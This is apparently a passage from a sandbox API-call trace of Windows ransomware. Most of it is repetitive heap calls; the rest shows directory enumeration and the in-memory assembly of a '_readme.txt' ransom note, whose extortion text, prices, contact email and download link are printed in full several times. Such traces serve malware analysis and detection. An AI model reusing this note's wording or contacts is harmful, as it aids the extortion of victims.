lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.273] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.274] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.274] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.275] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.275] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0124.275] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.275] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.275] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.275] PathFindFileNameW (pszPath="") returned="" [0124.275] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.275] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.275] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.276] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.276] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0124.276] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0124.276] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.276] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.276] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.276] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.276] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.276] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.276] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.276] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.277] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.277] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.277] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 